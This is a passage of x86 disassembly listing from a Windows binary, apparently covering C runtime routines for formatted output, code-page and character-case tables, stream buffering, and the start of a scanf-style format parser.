		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 2650951h
		nop
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 26508E6h
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 2650918h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		nop
		call	near ptr 2650951h
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
